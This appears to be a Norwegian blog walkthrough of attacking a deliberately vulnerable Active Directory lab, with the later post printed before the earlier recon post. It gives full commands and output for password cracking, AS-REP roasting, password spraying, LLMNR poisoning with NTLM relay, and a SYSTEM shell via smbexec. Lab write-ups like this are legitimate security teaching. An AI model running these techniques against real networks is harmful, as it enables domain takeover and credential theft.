/usr/share/wordlists/rockyou.txt* Passwords.: 14344385* Bytes.....: 139921507* Keyspace..: 14344385Crackingperformancelowerthanexpected?* Append -O to the commandline.Thislowersthemaximumsupportedpassword/saltlength (usually downto32).* Append -w 3 to the commandline.Thiscancauseyourscreentolag.* Append -S to the commandline.Thishasadrasticspeedimpactbutcanbebetterforspecificattacks.Typicalscenariosareasmallwordlistbutalargeruleset.* Update your backend API runtime / driver the right way:https://hashcat.net/faq/wrongdriver* Create more work items to make use of your parallelization power:https://hashcat.net/faq/moreworkApproachingfinalkeyspace-workloadadjusted.Session..........:hashcatStatus...........:ExhaustedHash.Mode........:5600 (NetNTLMv2)Hash.Target......:EDDARD.STARK::NORTH:1122334455667788:4162288f6fae16...000000Time.Started.....:MonSep2214:06:272025 (12 secs)Time.Estimated...:MonSep2214:06:392025 (0 secs)Kernel.Feature...:PureKernelGuess.Base.......:File (/usr/share/wordlists/rockyou.txt)Guess.Queue......:1/1 (100.00%)Speed.#1.........:916.2kH/s (1.82ms) @ Accel:512 Loops:1 Thr:1 Vec:8Recovered........:0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)Progress.........:14344385/14344385 (100.00%)Rejected.........:0/14344385 (0.00%)Restore.Point....:14344385/14344385 (100.00%)Restore.Sub.#1...:Salt:0Amplifier:0-1Iteration:0-1Candidate.Engine.:DeviceGeneratorCandidates.#1....:$HEX[206b72697374656e616e6e65] ->$HEX[042a0337c2a156616d6f732103]Hardware.Mon.#1..:Util:67%Started:MonSep2214:06:262025Stopped:MonSep2214:06:412025
Prøver vi derimot med robb.stark ser vi at vi finner passordet meget raskt. For å korte ned litt tar jeg ikke med alt av output fra hashcat, men vi ser på slutten her at passordet til robb.stark er “sexywolfy”.
Vi har allerede den tilgangen vi trenger, egentlig, men vi ønsker også å se på andre sårbarheter.
AS-Rep Roasting
Et eksempel kan være å sjekke om vi kan AS-REP roaste brukerkontoer i lista vi fikk fra enum4linux i recon fasen.
AS-REP eller “Authentication Server Response” kan utnyttes dersom en konto er flagget “UF_DONT_REQUIRE_PREAUTH”.
Hvem som helst med nettverkstilgang vil kunne be om en såkalt “Ticket Granting Ticket” (TGT) fra Kerberos Key Distribution Center (KDC). Denne billetten (TGT) kan man bruke til å skaffe tjenestebilletter for å logge seg på gitte tjenester, som f.eks fileshares, remote desktop, el.l – men er kryptert med kontoens passord. Dermed kan vi forsøke å cracke passordet med et ordliste angrep, mot en kryptert TGT.
└─$GetNPUsers.py-usersfilecreds/userlist.north.sevenkingdoms.local-request-formathashcat-outputfilecreds/north.asrep-dc-ip10.3.2.11'NORTH/'[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] User SEVENKINGDOMS$ doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User arya.stark doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User eddard.stark doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User catelyn.stark doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User sansa.stark doesn't have UF_DONT_REQUIRE_PREAUTH set$krb5asrep$23$brandon.stark@NORTH:973db4ba589726bc964c68c804b487ce$d84f141daf8038225860954b00aee0578224ba0f052d99f0e575b0197f375f577d801bd6bb4784aa2d1d14693e8c7feb52331d1f97ce47cbd81f3114bcd88153e5fc492a6b9a42643043cae5cb79387b6d7f788d58fce52495b72c48c537668e8cb2d35c96117fb49f34ced19a3a39ff5552d9d0ef1ba74f8d022fe47b524b76b49da7e354a36588efa4e594fb0343a231c1702acd088c351280174df0963386635d2f43a8a249db4070e778185e08e73032856d523f68f2bf0028db72199fd145544ad180d3095126332b2d63acee31c6ce395be66ea84159371229c92f9f425e0bf5a126974d86d2c06919475f69965297[-] User rickon.stark doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User hodor doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User jon.snow doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User samwell.tarly doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User jeor.mormont doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User sql_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
Vi har altså klart å AS-REP roaste brukeren til NORTH\Brandon.Stark, noe som innebærer at vi har fått tak i en kerberos ticket kryptert med hans passord. Det betyr at vi kan forsøke å cracke passordet til denne kontoen.
Password spraying
Videre kan vi forsøke å gjette passord mot kontoer. Det er ikke helt uvanlig at brukernavn = passord, som f.eks i admin/admin standardpålogginger og lignende.
─$forpin$(cat creds/userlist.north.sevenkingdoms.local);donetexecsmb10.3.2.0/24-u$p-p$p;doneRunningnxcagainst256targets━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━100%0:00:00SMB10.3.2.12445MEEREEN [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN)(domain:essos.local)(signing:True)(SMBv1:True)SMB10.3.2.12445MEEREEN [-] essos.local\hodor:hodor STATUS_LOGON_FAILURESMB10.3.2.23445BRAAVOS [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS)(domain:essos.local)(signing:False)(SMBv1:True)SMB10.3.2.10445KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING)(domain:sevenkingdoms.local)(signing:True)(SMB>SMB10.3.2.22445CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK)(domain:north.sevenkingdoms.local)(signing:False>SMB10.3.2.11445WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL)(domain:north.sevenkingdoms.local)(signing:True)>SMB10.3.2.23445BRAAVOS [+] essos.local\hodor:hodor (Guest)SMB10.3.2.10445KINGSLANDING [-] sevenkingdoms.local\hodor:hodor STATUS_LOGON_FAILURESMB10.3.2.22445CASTELBLACK [+] north.sevenkingdoms.local\hodor:hodorSMB10.3.2.11445WINTERFELL [+] north.sevenkingdoms.local\hodor:hodor
Som vi ser er hodor:hodor akseptert på winterfell og castelblack, men på braavos har vi kun gjestetilgang, fordi han eksisterer ikke i essos\ domenet.
Tidligere fikk vi også et hint om at NORTH\arya.stark sitt passord kanskje kunne være “Needle”.
$netexecsmb--shares10.3.2.10-30-u"arya.stark"-p"Needle"SMB10.3.2.10445KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING)(domain:sevenkingdoms.local)(signing:True)(SMBv1:False)SMB10.3.2.11445WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL)(domain:north.sevenkingdoms.local)(signing:True)(SMBv1:False)SMB10.3.2.22445CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK)(domain:north.sevenkingdoms.local)(signing:False)(SMBv1:False)SMB10.3.2.10445KINGSLANDING [-] sevenkingdoms.local\arya.stark:Needle STATUS_LOGON_FAILURE SMB10.3.2.23445BRAAVOS [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS)(domain:essos.local)(signing:False)(SMBv1:True)SMB10.3.2.12445MEEREEN [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN)(domain:essos.local)(signing:True)(SMBv1:True)SMB10.3.2.11445WINTERFELL [+] north.sevenkingdoms.local\arya.stark:Needle SMB10.3.2.22445CASTELBLACK [+] north.sevenkingdoms.local\arya.stark:Needle SMB10.3.2.23445BRAAVOS [+] essos.local\arya.stark:Needle (Guest)SMB10.3.2.12445MEEREEN [-] essos.local\arya.stark:Needle STATUS_LOGON_FAILURE SMB10.3.2.11445WINTERFELL [*] Enumerated sharesSMB10.3.2.11445WINTERFELLSharePermissionsRemarkSMB10.3.2.11445WINTERFELL----------------------SMB10.3.2.11445WINTERFELLADMIN$ RemoteAdminSMB10.3.2.11445WINTERFELLC$ DefaultshareSMB10.3.2.11445WINTERFELLIPC$ READRemoteIPCSMB10.3.2.11445WINTERFELLNETLOGONREADLogonservershareSMB10.3.2.11445WINTERFELLSYSVOLREADLogonservershareSMB10.3.2.22445CASTELBLACK [*] Enumerated sharesSMB10.3.2.22445CASTELBLACKSharePermissionsRemarkSMB10.3.2.22445CASTELBLACK----------------------SMB10.3.2.22445CASTELBLACKADMIN$ RemoteAdminSMB10.3.2.22445CASTELBLACKallREAD,WRITEBasicRWshareforallSMB10.3.2.22445CASTELBLACKC$ DefaultshareSMB10.3.2.22445CASTELBLACKIPC$ READRemoteIPCSMB10.3.2.22445CASTELBLACKpublicREAD,WRITEBasicReadshareforalldomainusersSMB10.3.2.23445BRAAVOS [*] Enumerated sharesSMB10.3.2.23445BRAAVOSSharePermissionsRemarkSMB10.3.2.23445BRAAVOS----------------------SMB10.3.2.23445BRAAVOSADMIN$ RemoteAdminSMB10.3.2.23445BRAAVOSallREAD,WRITEBasicRWshareforallSMB10.3.2.23445BRAAVOSC$ DefaultshareSMB10.3.2.23445BRAAVOSCertEnrollActiveDirectoryCertificateServicesshareSMB10.3.2.23445BRAAVOSIPC$ READRemoteIPCSMB10.3.2.23445BRAAVOSpublicBasicReadshareforalldomainusersRunningnxcagainst21targets━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━100%0:00:00
Vi ser at vi igjen får tilgang til castelblack og winterfell med north\arya.stark og passordet “Needle”, men her får vi også tilgang til Braavos serveren i essos.local som essos\arya.stark, istedenfor som gjest denne gangen.
Fra rekognoseringen i forrige bloggpost kunne vi også lese i beskrivelsen til Samwell Tarly at passordet skulle være Heartsbane. Vi prøver det også:
$netexecsmb--shares10.3.2.10-30-u"samwell.tarly"-p"Heartsbane"SMB10.3.2.10445KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING)(domain:sevenkingdoms.local)(signing:True)(SMBv1:False)SMB10.3.2.12445MEEREEN [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN)(domain:essos.local)(signing:True)(SMBv1:True)SMB10.3.2.23445BRAAVOS [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS)(domain:essos.local)(signing:False)(SMBv1:True)SMB10.3.2.11445WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL)(domain:north.sevenkingdoms.local)(signing:True)(SMBv1:False)SMB10.3.2.10445KINGSLANDING [-] sevenkingdoms.local\samwell.tarly:Heartsbane STATUS_LOGON_FAILURE SMB10.3.2.22445CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK)(domain:north.sevenkingdoms.local)(signing:False)(SMBv1:False)SMB10.3.2.12445MEEREEN [-] essos.local\samwell.tarly:Heartsbane STATUS_LOGON_FAILURE SMB10.3.2.23445BRAAVOS [+] essos.local\samwell.tarly:Heartsbane (Guest)SMB10.3.2.11445WINTERFELL [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane SMB10.3.2.22445CASTELBLACK [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane SMB10.3.2.23445BRAAVOS [*] Enumerated sharesSMB10.3.2.23445BRAAVOSSharePermissionsRemarkSMB10.3.2.23445BRAAVOS----------------------SMB10.3.2.23445BRAAVOSADMIN$ RemoteAdminSMB10.3.2.23445BRAAVOSallREAD,WRITEBasicRWshareforallSMB10.3.2.23445BRAAVOSC$ DefaultshareSMB10.3.2.23445BRAAVOSCertEnrollActiveDirectoryCertificateServicesshareSMB10.3.2.23445BRAAVOSIPC$ READRemoteIPCSMB10.3.2.23445BRAAVOSpublicBasicReadshareforalldomainusersSMB10.3.2.11445WINTERFELL [*] Enumerated sharesSMB10.3.2.11445WINTERFELLSharePermissionsRemarkSMB10.3.2.11445WINTERFELL----------------------SMB10.3.2.11445WINTERFELLADMIN$ RemoteAdminSMB10.3.2.11445WINTERFELLC$ DefaultshareSMB10.3.2.11445WINTERFELLIPC$ READRemoteIPCSMB10.3.2.11445WINTERFELLNETLOGONREADLogonservershareSMB10.3.2.11445WINTERFELLSYSVOLREADLogonservershareSMB10.3.2.22445CASTELBLACK [*] Enumerated sharesSMB10.3.2.22445CASTELBLACKSharePermissionsRemarkSMB10.3.2.22445CASTELBLACK----------------------SMB10.3.2.22445CASTELBLACKADMIN$ RemoteAdminSMB10.3.2.22445CASTELBLACKallREAD,WRITEBasicRWshareforallSMB10.3.2.22445CASTELBLACKC$ DefaultshareSMB10.3.2.22445CASTELBLACKIPC$ READRemoteIPCSMB10.3.2.22445CASTELBLACKpublicREAD,WRITEBasicReadshareforalldomainusersRunningnxcagainst21targets━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━100%0:00:00
Prøver vi samme metoden med robb.stark og sexywolfy får vi et svært lovende resultat:
$netexecsmb--shares10.3.2.10-30-u"robb.stark"-p"sexywolfy"SMB10.3.2.10445KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING)(domain:sevenkingdoms.local)(signing:True)(SMBv1:False)SMB10.3.2.12445MEEREEN [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN)(domain:essos.local)(signing:True)(SMBv1:True)SMB10.3.2.23445BRAAVOS [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS)(domain:essos.local)(signing:False)(SMBv1:True)SMB10.3.2.22445CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK)(domain:north.sevenkingdoms.local)(signing:False)(SMBv1:False)SMB10.3.2.10445KINGSLANDING [-] sevenkingdoms.local\robb.stark:sexywolfy STATUS_LOGON_FAILURE SMB10.3.2.12445MEEREEN [-] essos.local\robb.stark:sexywolfy STATUS_LOGON_FAILURE SMB10.3.2.23445BRAAVOS [+] essos.local\robb.stark:sexywolfy (Guest)SMB10.3.2.22445CASTELBLACK [+] north.sevenkingdoms.local\robb.stark:sexywolfy SMB10.3.2.23445BRAAVOS [*] Enumerated sharesSMB10.3.2.23445BRAAVOSSharePermissionsRemarkSMB10.3.2.23445BRAAVOS----------------------SMB10.3.2.23445BRAAVOSADMIN$ RemoteAdminSMB10.3.2.23445BRAAVOSallREAD,WRITEBasicRWshareforallSMB10.3.2.23445BRAAVOSC$ DefaultshareSMB10.3.2.23445BRAAVOSCertEnrollActiveDirectoryCertificateServicesshareSMB10.3.2.23445BRAAVOSIPC$ READRemoteIPCSMB10.3.2.23445BRAAVOSpublicBasicReadshareforalldomainusersSMB10.3.2.22445CASTELBLACK [*] Enumerated sharesSMB10.3.2.22445CASTELBLACKSharePermissionsRemarkSMB10.3.2.22445CASTELBLACK----------------------SMB10.3.2.22445CASTELBLACKADMIN$ RemoteAdminSMB10.3.2.22445CASTELBLACKallREAD,WRITEBasicRWshareforallSMB10.3.2.22445CASTELBLACKC$ DefaultshareSMB10.3.2.22445CASTELBLACKIPC$ READRemoteIPCSMB10.3.2.22445CASTELBLACKpublicREAD,WRITEBasicReadshareforalldomainusersSMB10.3.2.11445WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL)(domain:north.sevenkingdoms.local)(signing:True)(SMBv1:False)SMB10.3.2.11445WINTERFELL [+] north.sevenkingdoms.local\robb.stark:sexywolfy (Pwn3d!)SMB10.3.2.11445WINTERFELL [*] Enumerated sharesSMB10.3.2.11445WINTERFELLSharePermissionsRemarkSMB10.3.2.11445WINTERFELL----------------------SMB10.3.2.11445WINTERFELLADMIN$ READ,WRITERemoteAdminSMB10.3.2.11445WINTERFELLC$ READ,WRITEDefaultshareSMB10.3.2.11445WINTERFELLIPC$ READRemoteIPCSMB10.3.2.11445WINTERFELLNETLOGONREAD,WRITELogonservershareSMB10.3.2.11445WINTERFELLSYSVOLREAD,WRITELogonservershareRunningnxcagainst21targets━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━100%0:00:00
Vi har altså full admintilgang på Winterfell DCen allerede nå, men vi skal se på et par ting til før vi gir oss med initial access temaet.
Det første jeg vil demonstrere er hvordan vi kan lete etter informasjon i bl.a. gruppepolicy.
Tar vi utgangspunkt i tilgangen vi får med bare hodor:hodor kan vi f.eks se at vi har leserettigheter på SYSVOL og NETLOGON filområdene på domenekontrolleren.
Her har vi altså et powershell script, som definerer noen variabler. Den tar inn et passord, konverterer det med nøkkeldata, og lagrer et kryptert passord.
Vi kan prøve å reversere prosessen ved å ta det krypterte passordet, og dekryptere det med nøkkeldataene som ligger i scriptet.
Vi har altså en ukjent bruker, signert “T.L”, med passord powerkingftw135
NTLM Relay
Fordi vi ikke klarte å knekke passordet til Eddard Stark, så skal vi prøve å logge inn uten å kunne passordet. Dette angrepet kalles et NTLM Relay angrep.
Først har vi behov for en liste med verter som ikke krever SMB-signering, slik at vi kan forfalske opphavet til en autentiseringsforespørsel.
$netexecsmb10.3.2.10-30--gen-relay-listntlmrelay.netexecSMB10.3.2.12445MEEREEN [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN)(domain:essos.local)(signing:True)(SMBv1:True)SMB10.3.2.10445KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING)(domain:sevenkingdoms.local)(signing:True)(SMBv1:False)SMB10.3.2.11445WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL)(domain:north.sevenkingdoms.local)(signing:True)(SMBv1:False)SMB10.3.2.22445CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK)(domain:north.sevenkingdoms.local)(signing:False)(SMBv1:False)SMB10.3.2.23445BRAAVOS [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS)(domain:essos.local)(signing:False)(SMBv1:True)Runningnxcagainst21targets━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━100%0:00:00
Vi sjekker innholdet i filen ntlmrelay.netexec, og ser at 10.3.2.22 og 10.3.2.23 er sårbare.
$catntlmrelay.netexec10.3.2.2210.3.2.23
Vi ønsker å bruke Responder sammen med NTLMRelayX for å utføre dette angrepet, så vi setter opp NTLMRelayX slik at det lagrer sesjoner i en SOCKS proxy for oss.
$ntlmrelayx.py-socks-smb2support-tf./ntlmrelay.netexec[*] Protocol Client IMAP loaded..[*] Protocol Client IMAPS loaded..[*] Protocol Client LDAP loaded..[*] Protocol Client LDAPS loaded..[*] Protocol Client SMTP loaded..[*] Protocol Client HTTPS loaded..[*] Protocol Client HTTP loaded..[*] Protocol Client MSSQL loaded..[*] Protocol Client SMB loaded..[*] Protocol Client DCSYNC loaded..[*] Protocol Client RPC loaded..[*] Running in relay mode to hosts in targetfile[*] SOCKS proxy started. Listening on 127.0.0.1:1080[*] IMAP Socks Plugin loaded..[*] LDAPS Socks Plugin loaded..[*] SMTP Socks Plugin loaded..[*] LDAP Socks Plugin loaded..[*] HTTPS Socks Plugin loaded..[*] MSSQL Socks Plugin loaded..[*] HTTP Socks Plugin loaded..[*] IMAPS Socks Plugin loaded..[*] SMB Socks Plugin loaded..[*] Setting up SMB Server on port 445[*] Setting up HTTP Server on port 80*ServingFlaskapp'impacket.examples.ntlmrelayx.servers.socksserver'*Debugmode:off[*] Setting up WCF Server on port 9389[*] Setting up RAW Server on port 6666[*] Multirelay enabled[*] Servers started, waiting for connections
NTLMRelayX er oppe, og klar til å relaye mot de sårbare vertene, og til å lagre sesjonene i en SOCKS proxy vi kan benytte oss av. For å benytte dem må vi sette opp proxychains til å bruke den.
$sudonano/etc/proxychains4.confsocks4127.0.0.11080#Legges til på slutten av fila.
Vi må også slå av SMB poisoning i responder, ettersom vi ønsker å videresende forespørselen.
$sudonano/etc/responder/Responder.conf# Påse at følgende innstillinger er satt:;PoisonerstostartMDNS=OnLLMNR=OnNBTNS=On;ServerstostartSMB=Off
Da kan vi forsøke å forgifte LLMNR, NetBios og mDNS forespørsler på nettverket, i håp om å lure Eddard Stark til å la oss videresende hans NTLMv2 hash til Castelblack og til Braavos serverene på nettverket.
Det går litt tid og så får vi se følgende, omtrent samtidig i responder og i ntlmrelayx:
# Responder[*][NBT-NS] Poisoned answer sent to 10.3.2.11 for name MEREN (service:FileServer)[*][MDNS] Poisoned answer sent to 10.3.2.11 for name Meren.local[*][MDNS] Poisoned answer sent to 10.3.2.11 for name Meren.local[*][LLMNR] Poisoned answer sent to 10.3.2.11 for name Meren[*][LLMNR] Poisoned answer sent to 10.3.2.11 for name Meren[*][MDNS] Poisoned answer sent to 10.3.2.11 for name Meren.local[*][MDNS] Poisoned answer sent to 10.3.2.11 for name Meren.local[*][LLMNR] Poisoned answer sent to 10.3.2.11 for name Meren[*][LLMNR] Poisoned answer sent to 10.3.2.11 for name Meren[*][LLMNR] Poisoned answer sent to 10.3.2.11 for name Bravos[*][MDNS] Poisoned answer sent to 10.3.2.11 for name Bravos.local[*][NBT-NS] Poisoned answer sent to 10.3.2.11 for name BRAVOS (service:FileServer)[*][MDNS] Poisoned answer sent to 10.3.2.11 for name Bravos.local[*][LLMNR] Poisoned answer sent to 10.3.2.11 for name Bravos[*][MDNS] Poisoned answer sent to 10.3.2.11 for name Meren.local[*][MDNS] Poisoned answer sent to 10.3.2.11 for name Meren.local[*][LLMNR] Poisoned answer sent to 10.3.2.11 for name Meren[*][LLMNR] Poisoned answer sent to 10.3.2.11 for name Meren[*][MDNS] Poisoned answer sent to 10.3.2.11 for name Bravos.local[*][MDNS] Poisoned answer sent to 10.3.2.11 for name Bravos.local[*][LLMNR] Poisoned answer sent to 10.3.2.11 for name Bravos[*][LLMNR] Poisoned answer sent to 10.3.2.11 for name Bravos[*][MDNS] Poisoned answer sent to 10.3.2.11 for name Bravos.local[*][MDNS] Poisoned answer sent to 10.3.2.11 for name Bravos.local[*][LLMNR] Poisoned answer sent to 10.3.2.11 for name Bravos[*][LLMNR] Poisoned answer sent to 10.3.2.11 for name Bravos[*][MDNS] Poisoned answer sent to 10.3.2.11 for name Bravos.local[*][MDNS] Poisoned answer sent to 10.3.2.11 for name Bravos.local[*][LLMNR] Poisoned answer sent to 10.3.2.11 for name Bravos[*][LLMNR] Poisoned answer sent to 10.3.2.11 for name Bravos[*][MDNS] Poisoned answer sent to 10.3.2.11 for name Bravos.local[*][MDNS] Poisoned answer sent to 10.3.2.11 for name Bravos.local[*][LLMNR] Poisoned answer sent to 10.3.2.11 for name Bravos[*][LLMNR] Poisoned answer sent to 10.3.2.11 for name Bravos
# NTLMRelayX[][*] SMBD-Thread-32 (process_request_thread): Connection from NORTH/[email protected] controlled, attacking target smb://10.3.2.22[*] Authenticating against smb://10.3.2.22 as NORTH/EDDARD.STARK SUCCEED[*] SOCKS: Adding NORTH/[email protected](445) to active SOCKS connection. Enjoy[][*] SMBD-Thread-32 (process_request_thread): Connection from NORTH/[email protected] controlled, attacking target smb://10.3.2.23[*] Authenticating against smb://10.3.2.23 as NORTH/EDDARD.STARK SUCCEED[*] SOCKS: Adding NORTH/[email protected](445) to active SOCKS connection. Enjoy[*] All targets processed![*] SMBD-Thread-32 (process_request_thread): Connection from NORTH/[email protected] controlled, but there are no more targets left![*] Received connection from NORTH/eddard.stark at WINTERFELL, connection will be relayed after re-authentication[*] Received connection from NORTH/eddard.stark at WINTERFELL, connection will be relayed after re-authentication[*] All targets processed![*] SMBD-Thread-33 (process_request_thread): Connection from NORTH/[email protected] controlled, but there are no more targets left![*] Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication[*] All targets processed![*] SMBD-Thread-34 (process_request_thread): Connection from NORTH/[email protected] controlled, but there are no more targets left![*] Received connection from NORTH/eddard.stark at WINTERFELL, connection will be relayed after re-authentication[*] All targets processed![*] SMBD-Thread-35 (process_request_thread): Connection from NORTH/[email protected] controlled, but there are no more targets left![*] Received connection from NORTH/eddard.stark at WINTERFELL, connection will be relayed after re-authentication[*] Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication[*] All targets processed![*] SMBD-Thread-36 (process_request_thread): Connection from NORTH/[email protected] controlled, but there are no more targets left![*] Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication[*] Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication[*] All targets processed![*] SMBD-Thread-37 (process_request_thread): Connection from NORTH/[email protected] controlled, but there are no more targets left![*] Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication[*] All targets processed![*] SMBD-Thread-38 (process_request_thread): Connection from NORTH/[email protected] controlled, but there are no more targets left![*] Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication[*] All targets processed![*] SMBD-Thread-39 (process_request_thread): Connection from NORTH/[email protected] controlled, but there are no more targets left![*] Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication
Vi har altså snappet opp sesjoner for Eddard og Robb stark, og klart å etablere en sesjon på vegne av Eddard Stark mot begge serverene, og vi ser han er administrator på 10.3.2.22 som er Castelblack serveren.
Vi kjører smbexec.py via den etablerte sesjonen over proxychains, og ser at vi har fått tilgang som NT Authority\SYSTEM på castelblack serveren.
$proxychains4-qsmbexec.pyNORTH/[email protected]Password:# bare tomt passord her, bare trykk enter.[!] Launching semi-interactive shell - Careful what you executeC:\Windows\system32>whoamintauthority\systemC:\Windows\system32>hostnamecastelblack
Vi har altså et shell på maskinen som SYSTEM og kan egentlig gjøre hva vi har lyst til å gjøre på den maskinen, for eksempel å legge til en administratorkonto vi selv kontrollerer, skru av defender og installere skadevare, eller mange andre ting.
I neste post skal vi ta for oss hvordan vi kan innhente oss rundt i miljøet, og tilegne oss høyere og høyere tilgang.
Forord: Denne bloggserien viser reelle metoder angripere bruker for å bevege seg inn i, og ta over et AD miljø. All denne informasjonen er allerede offentlig tilgjengelig, og deles ikke for å gi grunnkurs i nettkriminalitet, men for å spre kunnskap om hvorfor vi må beskytte oss. Du må kun benytte disse verktøyene, metodene og prosedyrene i miljøer der du har fått eksplisitt samtykke av eier til å gjøre dette.
Miljøet ble satt opp på IP range 10.3.2.0/24, og jeg vet at de fikk IPer i range .10–.23 dermed vet jeg at jeg kan fokusere på kartlegging i den addresseserien.
Fordi dette er en lab jeg kontrollerer selv, og den er skapt for å være sårbar, så bryr jeg meg ikke om å være usynlig.
NMAP
Noe av det aller første man ønsker å gjøre er å finne ut hva som er tilstede på nettverket, og hvilke tjenester som kjøres på disse boksene. I den sammenheng bruker jeg NMAP.
$nmap-sC-sV10.3.2.10-30StartingNmap7.95 ( https://nmap.org ) at 2025-08-25 12:21 EDT
Vi ser 5 verter på nettverket:
10.3.2.10, 10.3.2.11, 10.3.2.12 (DCer)
10.3.2.22, 10.3.2.23 (Andre servere)
Vi ser en del saftig informasjon på f.eks verten 10.3.2.22:
Vi kan se at bl.a. portene 135/tcp (RPC Mapper), 445/tcp (SMB), 3389/tcp (Remote Desktop), og 5985/tcp (WinRM) er åpne på verten 10.3.2.22
Legg også merke til SSL-Cert subject: castelblack.north.sevenkingdoms.local, dette kan være relevant informasjon, da det gir oss øyeblikkelige hint om domenestruktur og vertsnavn.
Enum4linux
Vi tester verktøyet enum4linux for å se om vi kan finne noe mer spennende på noen av serverene. Winterfell.north.sevenkingdoms.local gir oss mye informasjon.
Legg særlig merke til domeneinformasjon, brukerliste og passordpolicy.
Domeneinformasjon:
==================================( GettingdomainSIDfor10.3.2.11 )==================================DomainName:NORTHDomainSid:S-1-5-21-88918170-2512471535-2376777965[+] Host is part of a domain (notaworkgroup)
Brukerliste:
=========================================( Userson10.3.2.11 )=========================================index:0x18acRID:0x456acb:0x00000210Account:arya.starkName: (null) Desc: Arya Stark index:0x18bcRID:0x45bacb:0x00010210Account:brandon.starkName: (null) Desc: Brandon Starkindex:0x16f5RID:0x1f5acb:0x00000215Account:GuestName: (null) Desc: Built-in account for guest access to the computer/domainindex:0x18c0RID:0x45dacb:0x00000210Account:hodorName: (null) Desc: Brainless Giantindex:0x18c6RID:0x460acb:0x00000210Account:jeor.mormontName: (null) Desc: Jeor Mormontindex:0x18c3RID:0x45eacb:0x00040210Account:jon.snowName: (null) Desc: Jon Snowindex:0x18bfRID:0x45cacb:0x00000210Account:rickon.starkName: (null) Desc: Rickon Starkindex:0x18c4RID:0x45facb:0x00000210Account:samwell.tarlyName: (null) Desc: Samwell Tarly (Password:Heartsbane)index:0x18bbRID:0x45aacb:0x00000210Account:sansa.starkName: (null) Desc: Sansa Starkindex:0x18c9RID:0x461acb:0x00000210Account:sql_svcName: (null) Desc: sql service
Passordpolicy:
=============================( PasswordPolicyInformationfor10.3.2.11 )=============================[+] Attaching to 10.3.2.11 using a NULL share[+] Trying protocol 139/SMB...[!]Protocolfailed:Cannotrequestsession (Called Name:10.3.2.11)[+] Trying protocol 445/SMB...[+] Found domain(s):[+]NORTH[+]Builtin[+] Password Info for Domain: NORTH[+]Minimumpasswordlength:5[+]Passwordhistorylength:24[+]Maximumpasswordage:311days2minutes[+]PasswordComplexityFlags:000000[+]DomainRefusePasswordChange:0[+]DomainPasswordStoreCleartext:0[+]DomainPasswordLockoutAdmins:0[+]DomainPasswordNoClearChange:0[+]DomainPasswordNoAnonChange:0[+]DomainPasswordComplex:0[+]Minimumpasswordage:1day4minutes[+]ResetAccountLockoutCounter:5minutes[+]LockedAccountDuration:5minutes[+]AccountLockoutThreshold:5[+]ForcedLogoffTime:NotSet[+] Retieved partial password policy with rpcclient: PasswordComplexity:DisabledMinimumPasswordLength:5
Med disse opplysningene har vi en liste med brukere i NORTH\ og opplysninger om at det er mulig å ha passord som er helt nede i 5 tegn lengde, og at de ikke har noen kompleksitetskrav. Vi har også fått beskjed om at passordet til Samwell Tarly er ‘Heartsbane’.
Netexec
Jeg ser om jeg kan finne noen tilgjengelige fileshares på området med netexec, som har i økende grad begynt å erstatte crackmapexec.
